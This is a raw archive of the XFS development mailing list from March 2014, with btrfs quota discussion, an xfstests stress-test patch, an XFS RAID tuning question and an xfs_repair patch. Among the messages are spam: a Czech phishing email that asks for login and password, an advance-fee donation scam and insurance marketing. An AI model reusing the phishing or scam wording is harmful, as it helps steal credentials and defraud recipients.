redo qgroup show and make sure the numbers match. I > did this in my qgroup test, you can look there as an example. Thanks, Let's take a look at my test flows: step1: write some random data to fs tree and then create a snapshot of fs tree. step2: also try to write some random data to newly created snapshot. step3: enable quota and wait quota rescan finished.(btrfs quota rescan -w) step4: remove all files and sync btrfs filesystem. So i did a simple test that if we don't create snapshot here, i get qgroup accounting right here, so i think it is realted to qgroup accounting that differs 'refer' and 'excl'. Thanks, Wang > > Josef > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1 > Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ > > iQIcBAEBAgAGBQJTHhXkAAoJEANb+wAKly3BQI8QAIEFXMPrFEJxj9uKuwnBZSSC > r4g7pHyac82EJA3T/jx+KIzH3aeUz0r1mEg8sYXXACAW5BZguyhe1LR0rU2ZBDaP > 9ilgWwCVm3d3EhiDmZJDCZueB7IXqE4/GX6D1zyF9OxVNk3Ng9gOY0/3G7Rb52FI > UTT/UhA8f3mFHQq4DbOebfacu8wbMH9rjHucxgin63UQLx9J9k+3lv5Y7AHihSrX > 3ly+B9+wqu9zl8gQGhxyvdayWeka6Hr43lkniaOehuW118WjjwIivE/CbTkla/3f > P3hoJSbUiqlCPONKkfGExYsIny0y9I3igMnLqs58RLeyd4+iSF1O4wFyFGn6hnDy > sazS8mz4V3PqnfHAj0D3scSYVyYvcrHcUU5WGs+0JiyExfQPFSrbybfwncIgbBg6 > +63iqd7qHwwjClSVNckFurU4B+lj1aVyyk/S1/Z2jN/9s3nrM3/WAR3cqJGIuNyT > RPT9mzmkc1OICO0+dvwHMol894CCVh9b0iQ6e2NBWYmEfv3BIj9tZNjUZ/ySJdQC > h2f00uLovRPazI/X/gKVraHj13Go3giL5LCIbnUso/B18iA2V3qyyXGPMBTB1Rws > wzaxlXsC8cZsMUgFkg7z6Q1Kc9hyUj4AF3Vg/qZze4F216LLAOa9Bni5CxKOVytk > MPlXItpXYAEX8orapQdO > =/ZGH > -----END PGP SIGNATURE----- > From wangsl.fnst@cn.fujitsu.com Mon Mar 10 20:52:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A2FF07F4E for ; Mon, 10 Mar 2014 20:52:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 71109304043 for ; Mon, 10 Mar 2014 18:52:21 -0700 (PDT) X-ASG-Debug-ID: 1394502738-04bdf05dac452d00001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id ohIjmKdOS1QzuRJL for ; Mon, 10 Mar 2014 18:52:19 -0700 (PDT) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.97,627,1389715200"; d="scan'208";a="9675273" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 11 Mar 2014 09:48:25 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s2B1q7nD019021; Tue, 11 Mar 2014 09:52:08 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014031109415184-542966 ; Tue, 11 Mar 2014 09:41:51 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH v3 3/3] xfstests/btrfs: add stress test for btrfs quota operations Date: Tue, 11 Mar 2014 09:42:35 +0800 X-ASG-Orig-Subj: [PATCH v3 3/3] xfstests/btrfs: add stress test for btrfs quota operations Message-Id: <1394502155-12763-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.9.0 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/11 09:41:51, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/11 09:49:33, Serialize complete at 2014/03/11 09:49:33 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1394502738 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- So this is a stress test for btrfs quota operations. it can also detect the following commit fixed problem: 4082bd3d73(Btrfs: fix oops when writting dirty qgroups to disk) Signed-off-by: Wang Shilong --- v2->v3: wait background thread finished before umounting.(Thanks to Josef) v1->v2: switch into new helper _run_btrfs_util_prog().(Pointed by Dave Chinner) --- tests/btrfs/043 | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/043.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 80 insertions(+) create mode 100644 tests/btrfs/043 create mode 100644 tests/btrfs/043.out diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode 100644 index 0000000..fe38e3e --- /dev/null +++ b/tests/btrfs/043 @@ -0,0 +1,77 @@ +#! /bin/bash +# FS QA Test No. 043 +# +# stresstest for btrfs quota operations. we run fsstress and quota +# operations concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +_quota_enabled_background() +{ + i=1 + while [ $i -le 5 ] + do + _run_btrfs_util_prog quota enable $SCRATCH_MNT + _run_btrfs_util_prog quota disable $SCRATCH_MNT + i=$(($i+1)) + sleep 1 + done +} + +MKFS_SIZE=$((1024 * 1024 * 1024)) +run_check _scratch_mkfs_sized $MKFS_SIZE +run_check _scratch_mount + +_quota_enabled_background & +run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID + +wait +run_check _scratch_unmount +_check_scratch_fs + +# success, all done +echo "Silence is golden" +status=0 +exit diff --git a/tests/btrfs/043.out b/tests/btrfs/043.out new file mode 100644 index 0000000..f90f0a5 --- /dev/null +++ b/tests/btrfs/043.out @@ -0,0 +1,2 @@ +QA output created by 043 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index 1037761..fabe3b5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -45,3 +45,4 @@ 040 auto quick 041 auto quick 042 auto quick +043 auto quick -- 1.9.0 From rvandolson@esri.com Mon Mar 10 23:56:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C9F2E7F3F for ; Mon, 10 Mar 2014 23:56:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B22468F8037 for ; Mon, 10 Mar 2014 21:56:41 -0700 (PDT) X-ASG-Debug-ID: 1394513799-04cbb054b8231d70001-NocioJ Received: from bash.esri.com (Redlands.esri.com [198.102.62.250]) by cuda.sgi.com with ESMTP id G7xIhM5GEKFbjE42 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Mar 2014 21:56:40 -0700 (PDT) X-Barracuda-Envelope-From: rvandolson@esri.com X-Barracuda-Apparent-Source-IP: 198.102.62.250 Received: from bash.esri.com (localhost [127.0.0.1]) by bash.esri.com (8.14.4/8.14.4) with ESMTP id s2B4udHC018269 for ; Mon, 10 Mar 2014 21:56:39 -0700 Received: (from ray5147@localhost) by bash.esri.com (8.14.4/8.14.4/Submit) id s2B4udd5018267 for xfs@oss.sgi.com; Mon, 10 Mar 2014 21:56:39 -0700 X-Authentication-Warning: bash.esri.com: ray5147 set sender to rvandolson@esri.com using -f Date: Mon, 10 Mar 2014 21:56:39 -0700 From: Ray Van Dolson To: xfs@oss.sgi.com Subject: sw and su for hardware RAID10 (w/ LVM) Message-ID: <20140311045639.GA18159@esri.com> X-ASG-Orig-Subj: sw and su for hardware RAID10 (w/ LVM) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: Redlands.esri.com[198.102.62.250] X-Barracuda-Start-Time: 1394513800 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3780 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 RHEL6.x + XFS that comes w/ Red Hat's scalable file system add on. We have two PowerVault MD3260e's each configured with a 30 disk RAID10 (15 RAID groups) exposed to our server. Segment size is 128K (in Dell's world I'm not sure if this means my stripe width is 128K*15?) Have set up a concatenated LVM volume on top of these two "virtual disks" (with lvcreate -i 2). By default LVM says it's used a stripe width of 64K. # lvs -o path,size,stripes,stripe_size Path LSize #Str Stripe /dev/agsfac_vg00/lv00 100.00t 2 64.00k Unsure if these defaults should be adjusted. I'm trying to figure out the appropriate sw/su values to use per: http://xfs.org/index.php/XFS_FAQ#Q:_How_to_calculate_the_correct_sunit.2Cswidth_values_for_optimal_performance Am considering either just going with defaults (XFS should pull from LVM I think) or doing something like sw=2,su=128K. However, maybe I should be doing sw=2,su=1920K? And perhaps my LVM stripe width should be adjusted? Thanks, Ray From dave@fromorbit.com Tue Mar 11 01:22:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6D5F57F3F for ; Tue, 11 Mar 2014 01:22:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 681FB304051 for ; Mon, 10 Mar 2014 23:22:34 -0700 (PDT) X-ASG-Debug-ID: 1394518951-04cbb054b92354e0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id i9XCDHF4hh4BqaPT for ; Mon, 10 Mar 2014 23:22:32 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApJIAAirHlN5LJYePGdsb2JhbABagwaIUrsaFwMBAQEBHxkNKIIlAVw7GGoDBy2HeKAcsGGOeIQiBKwxggIp Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 11 Mar 2014 16:52:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WNG56-0003R1-Jd for xfs@oss.sgi.com; Tue, 11 Mar 2014 17:22:28 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WNG56-0000Pi-I6 for xfs@oss.sgi.com; Tue, 11 Mar 2014 17:22:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] repair: ensure that unused superblock fields are zeroed Date: Tue, 11 Mar 2014 17:22:28 +1100 X-ASG-Orig-Subj: [PATCH] repair: ensure that unused superblock fields are zeroed Message-Id: <1394518948-1506-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1394518951 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3781 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we grab a superblock off disk via get_sb(), we don't know what the in-memory superblock we are filling out contained. We ned to ensure that the entire structure is returned in an initialised state regardless of which fields libxfs_sb_from_disk() populates from disk. In this case, it doesn't populate the sb_crc field, and so uninitialised values can escape through to disk on v4 filesystems because of this. This causes xfs/031 to fail on v4 filesystems. Reported-by: Eric Sandeen Signed-off-by: Dave Chinner --- repair/sb.c | 1 + 1 file changed, 1 insertion(+) diff --git a/repair/sb.c b/repair/sb.c index b111aca..d928dc0 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -518,6 +518,7 @@ get_sb(xfs_sb_t *sbp, xfs_off_t off, int size, xfs_agnumber_t agno) exit(1); } memset(buf, 0, size); + memset(sbp, 0, sizeof(*sbp)); /* try and read it first */ -- 1.9.0 From estelle.seiler@hep-bejune.ch Tue Mar 11 02:54:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_CONTACT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1BC217F3F for ; Tue, 11 Mar 2014 02:54:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EC79A304051 for ; Tue, 11 Mar 2014 00:54:49 -0700 (PDT) X-ASG-Debug-ID: 1394524485-04bdf05daa460f10001-NocioJ Received: from HEPEDGE2.hep-bejune.ch ([192.135.153.25]) by cuda.sgi.com with ESMTP id t6XE9fJyWUoFFQMG (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 11 Mar 2014 00:54:47 -0700 (PDT) X-Barracuda-Envelope-From: estelle.seiler@hep-bejune.ch X-Barracuda-Apparent-Source-IP: 192.135.153.25 Received: from HEPCASHUB2.hep-bejune.ch (192.135.153.212) by HEPEDGE2.hep-bejune.ch (192.135.153.25) with Microsoft SMTP Server (TLS) id 14.3.146.0; Tue, 11 Mar 2014 08:54:39 +0100 Received: from HEPMBX1.hep-bejune.ch ([fe80::4431:d8d4:365e:6147]) by HEPCASHUB2.hep-bejune.ch ([192.135.153.212]) with mapi id 14.03.0146.000; Tue, 11 Mar 2014 08:54:43 +0100 From: Seiler Estelle Subject: =?windows-1250?Q?admin_Ozn=E1men=ED?= Thread-Topic: =?windows-1250?Q?admin_Ozn=E1men=ED?= X-ASG-Orig-Subj: =?windows-1250?Q?admin_Ozn=E1men=ED?= Thread-Index: Ac88/ylveZOUrEzmQmGKMUbXE2wRbQ== Date: Tue, 11 Mar 2014 07:54:42 +0000 Message-ID: <14F8BE0D63ABA940BF6D2975FA6F8AEC30FF40@HEPMBX1.hep-bejune.ch> Accept-Language: en-GB, fr-FR, fr-CH, en-US Content-Language: en-GB X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [192.135.153.239] Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 To: Undisclosed recipients:; X-Barracuda-Connect: UNKNOWN[192.135.153.25] X-Barracuda-Start-Time: 1394524486 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.12 X-Barracuda-Spam-Status: No, SCORE=0.12 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3783 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Upozorn=ECn=ED: Webmail u=9Eivatele, Tento e-mail byl Poslat Admin Center v=E1m ozn=E1mit, =9Ee jsme =E8asov=EC = br=E1n=ED p=F8=EDstupu k va=9Aemu =FA=E8tu. M=E1me d=F9vody se domn=EDvat, =9Ee v=E1=9A =FA=E8et m=F9=9Ee b=FDt p=F8=ED= stup n=ECkdo jin=FD a to bylo pro nez=E1konn=E9 =E8innosti. Spus=9Dte tento= soubor a postupujte podle pokyn=F9: Jste poslat Centru spr=E1vy informac=ED n=ED=9Ee jinak budeme blokovat tent= o =FA=E8et trvale, mus=EDte odpov=ECd=ECt na tento e-mail okam=9Eit=EC, zad= ejte Va=9Ae kontaktn=ED =FAdaje. Jm=E9no: Login: heslo: Pozn=E1mka: Pokud neobdr=9E=EDme Va=9Ai odpov=EC=EF a hned v p=F8=ED=9At=ED= m 24 hodin budeme deaktivovat tento =FA=E8et. "Administr=E1tor Center Support Team" Copyright =A9 web admin 2014 V=9Aechna pr=E1va vyhrazena. From clouse@ohio.edu Tue Mar 11 03:50:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=HTML_MESSAGE,LOTS_OF_MONEY, US_DOLLARS_3 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E57327F3F for ; Tue, 11 Mar 2014 03:50:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF4688F8035 for ; Tue, 11 Mar 2014 01:50:02 -0700 (PDT) X-ASG-Debug-ID: 1394527801-04cbb054b923d1e0001-NocioJ Received: from mx2.oit.ohio.edu (mx2.oit.ohio.edu [132.235.51.19]) by cuda.sgi.com with ESMTP id lOaWG1FE1FizvuJ1 for ; Tue, 11 Mar 2014 01:50:01 -0700 (PDT) X-Barracuda-Envelope-From: clouse@ohio.edu X-Barracuda-Apparent-Source-IP: 132.235.51.19 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkVAAM7NHlOE6who/2dsb2JhbABaDoJ4gQYBAa0SlC6BHRZ0giUBAQEEgQkCCQQBDAQBAR4KBzIUCQgCBBMIGIdZywSFfxeOKzcBgySBFASIQ1aBX4Ytj2qCAodhgm5bIQ X-IPAS-Result: AkVAAM7NHlOE6who/2dsb2JhbABaDoJ4gQYBAa0SlC6BHRZ0giUBAQEEgQkCCQQBDAQBAR4KBzIUCQgCBBMIGIdZywSFfxeOKzcBgySBFASIQ1aBX4Ytj2qCAodhgm5bIQ Received: from exht1.oit.ohio.edu ([132.235.8.104]) by smtpout2.oit.ohio.edu with ESMTP; 11 Mar 2014 04:49:59 -0400 Received: from exmail1.ohio.edu ([10.13.10.1]) by exht1.oit.ohio.edu ([10.13.10.31]) with mapi; Tue, 11 Mar 2014 04:49:58 -0400 From: "Clouse, Lynnette" To: "Clouse, Lynnette" Date: Tue, 11 Mar 2014 04:49:58 -0400 Subject: RE: Thread-Index: AQHPPQBmADKdAg9E5kKyEhJg34syzprbkJeS X-ASG-Orig-Subj: RE: Message-ID: References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_DBE3760C5167664EBFE89FCD8B3613D43B4DAE222BEXMAIL1ohioed_" MIME-Version: 1.0 X-Barracuda-Connect: mx2.oit.ohio.edu[132.235.51.19] X-Barracuda-Start-Time: 1394527801 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.68 X-Barracuda-Spam-Status: No, SCORE=0.68 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE, THREAD_INDEX, US_DOLLARS_3 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3784 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.17 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address --_000_DBE3760C5167664EBFE89FCD8B3613D43B4DAE222BEXMAIL1ohioed_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ________________________________ From: Clouse, Lynnette Sent: Tuesday, March 11, 2014 4:03 AM To: Clouse, Lynnette Subject: $2,500,000 USD Donation to you by Gloria Mackenzie, Contact Mrs Gloria Mack= enzie On (gloriamcmackenzie@rogers.com= ) for more details. --_000_DBE3760C5167664EBFE89FCD8B3613D43B4DAE222BEXMAIL1ohioed_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
=  

From: Clouse, Lyn= nette
Sent: Tuesday, March 11, 2014 4:03 AM
To: Clouse, Lynnette
Subject:

$2,500,000 USD Donation to you by Gloria Mackenzie, Contact Mrs Gloria Mack= enzie On (gloriamcmackenzie= @rogers.com) for more details.
=  
--_000_DBE3760C5167664EBFE89FCD8B3613D43B4DAE222BEXMAIL1ohioed_-- From i.ecpyzblhysvrhfzodaelhabiso@mailxchngr.sg-mailer.net Tue Mar 11 07:29:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.4 required=5.0 tests=BANG_GUAR,HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,LOTS_OF_MONEY,MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 128397F3F for ; Tue, 11 Mar 2014 07:29:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D7EBD304051 for ; Tue, 11 Mar 2014 05:29:02 -0700 (PDT) X-ASG-Debug-ID: 1394540939-04bdf05dab4704f0001-NocioJ Received: from mailxchngr.sg-mailer.net (mailxchngr.sg-mailer.net [4.31.47.32]) by cuda.sgi.com with ESMTP id CxcwksFM3au2JiwW for ; Tue, 11 Mar 2014 05:28:59 -0700 (PDT) X-Barracuda-Envelope-From: i.ecpyzblhysvrhfzodaelhabiso@mailxchngr.sg-mailer.net X-Barracuda-Apparent-Source-IP: 4.31.47.32 X-Barracuda-Registry: Level1 [mailxchngr.sg-mailer.net/4.31.47.32] DomainKey-Signature: q=dns; a=rsa-sha1; c=nofws; s=s1024; d=sg-mailer.net; h=DKIM-Signature:Date:From:To:Message-ID:Subject:MIME-Version:Content-Type:Content-Transfer-Encoding:List-Unsubscribe; b=pZc5fGedbohsKYa3U7HPlYpaGcoAo54GkRRz6UIj7nBScxjgds9xH5hpr3l4xnp2 JjBZDwhsC4Fd08c6Yncn4rRtP2zLVM8VwkL81tnkYwEd/KCn4EKQfz6eIJTkHmHH FNhAfoddlIeirE61iEc1Q4Nzle13src8IL4v/3o6sRo= X-Barracuda-Registry: Level1 [mailxchngr.sg-mailer.net/4.31.47.32] X-Barracuda-Registry: Level1 [mailxchngr.sg-mailer.net/4.31.47.32] X-Barracuda-Registry: Level1 [mailxchngr.sg-mailer.net/4.31.47.32] X-Barracuda-Registry: Level1 [mailxchngr.sg-mailer.net/4.31.47.32] X-Barracuda-Registry: Level1 [mailxchngr.sg-mailer.net/4.31.47.32] X-Barracuda-Registry: Level1 [mailxchngr.sg-mailer.net/4.31.47.32] DKIM-Signature: v=1; a=rsa-sha1; d=sg-mailer.net; s=s1024; c=relaxed/simple; q=dns/txt; i=@sg-mailer.net; t=1394540940; h=From:Subject:Date:To:MIME-Version:Content-Type; bh=XMXMUPc6WrWaAzIqpRIew6Q9+Z8=; b=aMWM7O7jszjk2xUVkzeQ3Ijwi6FwX/rNBtyEHzJFDHCchwZ683dfeTABQUcQ4/ga DkY+wWM/qmvZJyQUx27tFNOR8EM0mdgiuUECfCTuVqNxm6yFv/ltD9DSvxo9m33z U18bG/T+N/WKii0kYBPYKUdI8pB9aR5AGMqtqmRRFt8=; Date: Tue, 11 Mar 2014 08:29:00 -0400 (EDT) From: Anthem Blue Cross and Blue Shield To: xfs@oss.sgi.com Message-ID: <976649160.1394540940142.i.ecpyzblhysvrhfzodaelhabiso@mailxchngr.sg-mailer.net.109291606> Subject: Health plan rates now starting at $0 - see if you qualify MIME-Version: 1.0 X-ASG-Orig-Subj: Health plan rates now starting at $0 - see if you qualify Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit List-Unsubscribe: X-Barracuda-Connect: mailxchngr.sg-mailer.net[4.31.47.32] X-Barracuda-Start-Time: 1394540939 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.29 X-Barracuda-Spam-Status: No, SCORE=2.29 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BANG_GUAR, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.24 BANG_GUAR BODY: Something is emphatically guaranteed -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

If you cannot view this email, click here.

Financial help is available on Anthem Blue Cross and Blue Shield health plans. Learn more

Anthem Blue Cross

Financial help is available
on Anthem Blue Cross and Blue Shield

Get free quote now Or call 1-877-818-2130
  topimg

Not covered at work? Working part time? Under the new health care law‚ you may qualify for financial help on coverage.1 Learn more now

Our plans cover doctor visits‚ prescription
drugs and $0 preventive care2 - to help
you stay healthy. And your coverage
is guaranteed!

Rates available/start at 
$0
Example rate based on eligibility. Click Learn More to see if you qualify.*

Health insurance is required for most Americans in 2014.
We’re here to help you get the financial help
you qualify for.

Get free quote now
Or call 1-877-818-2130

midimg
  btmimg
 
